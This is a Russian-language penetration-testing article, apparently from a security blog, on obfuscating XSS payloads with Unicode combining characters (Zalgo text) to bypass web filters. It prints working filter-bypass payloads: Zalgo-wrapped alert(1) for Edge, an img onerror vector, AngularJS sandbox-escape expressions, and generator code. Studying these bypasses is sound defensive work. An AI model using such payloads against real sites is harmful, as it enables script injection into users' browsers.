ZalgoFuzzing: использование нестандартных методов размытия пейлоадов



    Использование нестандартных техник обфускации пейлоада (полезной нагрузки) при проведении тестирования на проникновение веб-приложений может позволить обходить фильтрацию защитных средств и способствовать реализации вектора атаки. В этой статье я расскажу про т.н. Z̴a҉̠͚l͍̠̫͕̮̟͕g͚o̯̬̣̻F̮̫̣̩͓͟ͅu̯z̡͉͍z̪͈̞̯̳̠ͅi̴̜̹̠̲͇n̰g̱͕̫̹͉͓ как метод обфускации (размытия) пейлоадов.

    Z̻̮̰̗͙̱̣a̺̗̺͍̹̕l͈̠͈͍g̵o̤̜͇͕̹


    В первую очередь давайте разберем что такое Zalgo и такую особенность построения текста. В тексте используются комбинированные символы, также известные как комбинированные метки. Символы, имеющие графическое представление, в стандарте Юникода подразделяются на базовые и комбинируемые (или модифицирующие). Комбинируемые названы так, потому что при отображении комбинируются с рядом стоящим базовым символом (модифицируют его).

    Использование таких последовательностей символов позволяет исказить полезную нагрузку, приведя ее к «нестандартному виду».

    Например, данный javascript-код будет валиден в Edge: ̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ

    Чтобы cгенерировать Zalgo, можно повторить одиночные символы, либо объединить два символа, и повторить второй. Следующий пример генерирует визуальные дефекты, повторяющиеся сами по себе, в основном объединяют символы unicode:

    834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662

    Cледующий JavaScript будет генерировать визуальные дефекты, используя один из символов выше ͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂:

    <script>document.write(String.fromCharCode(834).repeat(20))</script>

    Принцип построения «фаззящей» последовательности проста — вывод символов максимально возможно горизонтальной длины, либо преображение и отображение с «разрывом». Этом поможет достичь эффекта некорректного отображения множественных символов UNICODE как пробельных, например так:

    ັັັalert(ັັັ'XSS Edge'ັັັ)ັັັ
    Здесь ожидаемое поведение — это фильтрация, но на самом деле происходит событие Alert. Эти ошибки связаны с некорректным парсингом смешанного содержимого запроса.

    Есть схожие методы обхода защитных средств, основанные на внедрении UNICODE символов:
    †‡•<img src=a onerror=javascript:alert('test')>…‰€ (репорт на HackerOne).

    Эти методы могут быть как обособленными векторами применения, так и конкретными, связанными со спецификой того или иного приложения, например AngularJS:

    {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

    {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

    В ветке обсуждения отображения последовательностей представлен еще один пример обхода парсинга:

    eval('alert'+String.fromCharCode(6158)+'(1)')

    Основной смысл такого обхода — преобразования символов, проходящих фильтры, в необходимую последовательность, на выходе дающую работающий (уже прошедший фильтр) пейлоад. В качестве примера привожу изображение, демонстрирующее такое преобразование:

    image

    Исследователем Gareth Heyes опубликован фаззер, объединяющий UNICODE совмещение и Zalgo, названный им Z̴a҉̠͚l͍̠̫͕̮̟͕g͚o̯̬̣̻F̮̫̣̩͓͟ͅu̯z̡͉͍z̪͈̞̯̳̠ͅi̴̜̹̠̲͇n̰g̱͕̫̹͉͓ для выявлении последовательностей UNIСODE символов, преобразующихся в валидный javascript.

    Таким образом был составлен пейлоад для обхода фильтрации EDGE, заключающийся в добавлении символов, обрабатываемых как пробельные. Таким образом была выявлена последовательность в виде символа 837 вместе с любым символом из диапазона 768-879:

    a= [];
    for(i=768;i<=858;i++){
      a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5));
    }
    a[10]+='alert('
    a[15]+='1';
    a[20]+=')';
    input.value=a.join('')
    eval(a.join(''));
    

    Таким образом получается валидный пейлоад: ̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ

    Тема использования UNICODE-нормализации для обхода защитных средств далеко не нова (но и не сильно распространена), но тем не менее, позволяет находить новые способы обхода фильтрации.

    Unicode Security Guide
    • +37
    • 6,7k
    • 2

    Pentestit

    87,42

    Информационная безопасность

    Поделиться публикацией
    Комментарии 2
      0
      www.npmjs.com/package/unzalgo
      Хотя не уверен, что к EDGE его не прикрутишь
        0
        Не очень понял кто вообще осиливает запускать залгофицированные скрипты. Chrome 64 и FF 58 не осилили, ругаясь на некорректные символы. То есть нужно какое-то особенное стечение обстоятельств, где модифицирующие символы будут почищены? Или версию браузера постарше?

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое